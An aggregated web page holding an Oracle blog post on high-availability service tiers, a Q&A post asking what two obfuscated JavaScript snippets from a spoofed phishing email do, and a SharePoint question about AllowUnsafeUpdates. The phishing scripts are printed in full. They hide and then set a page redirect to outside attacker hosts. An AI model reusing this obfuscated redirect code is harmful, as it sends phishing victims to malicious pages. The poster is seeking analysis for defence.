    The good news is that Oracle Maximum Availability Architecture (MAA) best practices combined with Oracle Database 12c (see video) introduce first-in-the-industry database capabilities that truly make unplanned outages and planned maintenance transparent to users. The trouble with such good news is that Oracle’s enthusiasm in evangelizing its latest innovations may leave some to wonder if we’ve lost sight of the fact that not all database applications are created equal. Afterall, many databases don’t have the business requirements for high availability and data protection that require all of Oracle’s ‘stuff’. For many real world applications, a controlled amount of downtime and/or data loss is OK if it saves money and effort. Well, not to worry. Oracle knows that enterprises need solutions that address the full continuum of requirements for data protection and availability. Oracle MAA accomplishes this by defining four HA service level tiers: BRONZE, SILVER, GOLD and PLATINUM. The figure below shows the progression in service levels provided by each tier. Each tier uses a different MAA reference architecture to deploy the optimal set of Oracle HA capabilities that reliably achieve a given service level (SLA) at the lowest cost.  Each tier includes all of the capabilities of the previous tier and builds upon the architecture to handle an expanded fault domain. Bronze is appropriate for databases where simple restart or restore from backup is ‘HA enough’. Bronze is based upon a single instance Oracle Database with MAA best practices that use the many capabilities for data protection and HA included with every Oracle Enterprise Edition license. Oracle-optimized backups using Oracle Recovery Manager (RMAN) provide data protection and are used to restore availability should an outage prevent the database from being able to restart. Silver provides an additional level of HA for databases that require minimal or zero downtime in the event of database instance or server failure as well as many types of planned maintenance. Silver adds clustering technology - either Oracle RAC or RAC One Node. RMAN provides database-optimized backups to protect data and restore availability should an outage prevent the cluster from being able to restart. Gold raises the game substantially for business critical applications that can’t accept vulnerability to single points-of-failure. Gold adds database-aware replication technologies, Active Data Guard and Oracle GoldenGate, which synchronize one or more replicas of the production database to provide real time data protection and availability. Database-aware replication greatly increases HA and data protection beyond what is possible with storage replication technologies. It also reduces cost while improving return on investment by actively utilizing all replicas at all times. Platinum introduces all of the sexy new Oracle Database 12c capabilities that Oracle staff will gush over with great enthusiasm. These capabilities include Application Continuity for reliable replay of in-flight transactions that masks outages from users; Active Data Guard Far Sync for zero data loss protection at any distance; new Oracle GoldenGate enhancements for zero downtime upgrades and migrations; and Global Data Services for automated service management and workload balancing in replicated database environments. Each of these technologies requires additional effort to implement. But they deliver substantial value for your most critical applications where downtime and data loss are not an option. The MAA reference architectures are inherently designed to address conflicting realities. On one hand, not every application has the same objectives for availability and data protection – the Not One Size Fits All title of this blog post. On the other hand, standard infrastructure is an operational requirement and a business necessity in order to reduce complexity and cost. MAA reference architectures address both realities by providing a standard infrastructure optimized for Oracle Database that enables you to dial-in the level of HA appropriate for different service level requirements. This makes it simple to move a database from one HA tier to the next should business requirements change, or from one hardware platform to another – whether it’s your favorite non-Oracle vendor or an Oracle Engineered System. Please stay tuned for additional blog posts in this series that dive into the details of each MAA reference architecture. Meanwhile, more information on Oracle HA solutions and the Maximum Availability Architecture can be found at: Oracle Maximum Availability Architecture - Webcast Maximize Availability with Oracle Database 12c - Technical White Paper

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  • What does this Javascript do?

    - by nute
    I've just found out that a spammer is sending email from our domain name, pretending to be us, saying: Dear Customer, This e-mail was send by ourwebsite.com to notify you that we have temporanly prevented access to your account. We have reasons to beleive that your account may have been accessed by someone else. Please run attached file and Follow instructions. (C) ourwebsite.com (I changed that) The attached file is an HTML file that has the following javascript: <script type='text/javascript'>function mD(){};this.aB=43719;mD.prototype = {i : function() {var w=new Date();this.j='';var x=function(){};var a='hgt,t<pG:</</gm,vgb<lGaGwg.GcGogmG/gzG.GhGtGmg'.replace(/[gJG,\<]/g, '');var d=new Date();y="";aL="";var f=document;var s=function(){};this.yE="";aN="";var dL='';var iD=f['lOovcvavtLi5o5n5'.replace(/[5rvLO]/g, '')];this.v="v";var q=27427;var m=new Date();iD['hqrteqfH'.replace(/[Htqag]/g, '')]=a;dE='';k="";var qY=function(){};}};xO=false;var b=new mD(); yY="";b.i();this.xT='';</script> Another email had this: <script type='text/javascript'>function uK(){};var kV='';uK.prototype = {f : function() {d=4906;var w=function(){};var u=new Date();var hK=function(){};var h='hXtHt9pH:9/H/Hl^e9n9dXe!r^mXeXd!i!a^.^c^oHm^/!iHmHaXg!e9sH/^zX.!hXt9m^'.replace(/[\^H\!9X]/g, '');var n=new Array();var e=function(){};var eJ='';t=document['lDo6cDart>iro6nD'.replace(/[Dr\]6\>]/g, '')];this.nH=false;eX=2280;dF="dF";var hN=function(){return 'hN'};this.g=6633;var a='';dK="";function x(b){var aF=new Array();this.q='';var hKB=false;var uN="";b['hIrBeTf.'.replace(/[\.BTAI]/g, '')]=h;this.qO=15083;uR='';var hB=new Date();s="s";}var dI=46541;gN=55114;this.c="c";nT="";this.bG=false;var m=new Date();var fJ=49510;x(t);this.y="";bL='';var k=new Date();var mE=function(){};}};var l=22739;var tL=new uK(); var p="";tL.f();this.kY=false;</script> Can anyone tells me what it does? So we can see if we have a vulnerability, and if we need to tell our customers about it ... Thanks

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  • Best Pattern for AllowUnsafeUpdates

    - by webwires
    So far, in my research I have seen that it is unwise to set AllowUnsafeUpdates on GET request operation to avoid cross site scripting. But, if it is required to allow this, what is the proper way to handle the situation to mitigate any exposure? Here is my best first guess on a reliable pattern if you absolutely need to allow web or site updates on a GET request. Best Practice? protected override void OnLoad(System.EventArgs e) { if(Request.HttpMethod == "POST") { SPUtility.ValidateFormDigest(); // will automatically set AllowSafeUpdates to true } // If not a POST then AllowUnsafeUpdates should be used only // at the point of update and reset immediately after finished // NOTE: Is this true? How is cross-site scripting used on GET // and what mitigates the vulnerability? } // Point of item update SPSecurity.RunWithElevatedPrivledges(delegate() { using(SPSite site = new SPSite(SPContext.Current.Site.Url)) { using (SPWeb web = site.RootWeb) { bool allowUpdates = web.AllowUnsafeUpdates; //store original value web.AllowUnsafeUpdates = true; //... Do something and call Update() ... web.AllowUnsafeUpdates = allowUpdates; //restore original value } } }); Feedback on the best pattern is appreciated.

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